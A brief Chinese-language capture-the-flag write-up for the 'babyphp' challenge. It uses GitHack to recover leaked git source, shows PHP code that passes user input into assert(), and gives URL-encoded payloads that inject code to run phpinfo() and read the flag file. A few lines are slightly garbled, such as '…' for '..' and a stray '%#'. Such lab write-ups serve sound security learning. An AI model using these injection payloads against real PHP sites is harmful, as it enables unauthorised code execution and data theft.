babyphp
根据提示可知第一步是git源码泄露
我们用GitHack来获取源码分析
py -2 GitHack.py http://web.jarvisoj.com:32798/.git/
得到的index.php中含有重要PHP代码
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
- 需要传个page参数
- file = “templates/” . $page . “.php”
- page不能包含…
- 拼接file变量达到代码执行目的
page=') or phpinfo();%23 即变成file_exists('') or phpinfo();# ,结果为执行phpinfo()。注意最后的#必须编码(没太清楚为什么)
page=')%20or%20phpinfo();%23
page=') or print_r(file_get_contents('templates/flag.php');%23
即变成file_exists('') or print_r(file_get_contents('templates/flag.php');%#
最终payload:page=')%20or%20print_r(file_get_contents('templates/flag.php'));%23
空格和#需要url编码成%20和%23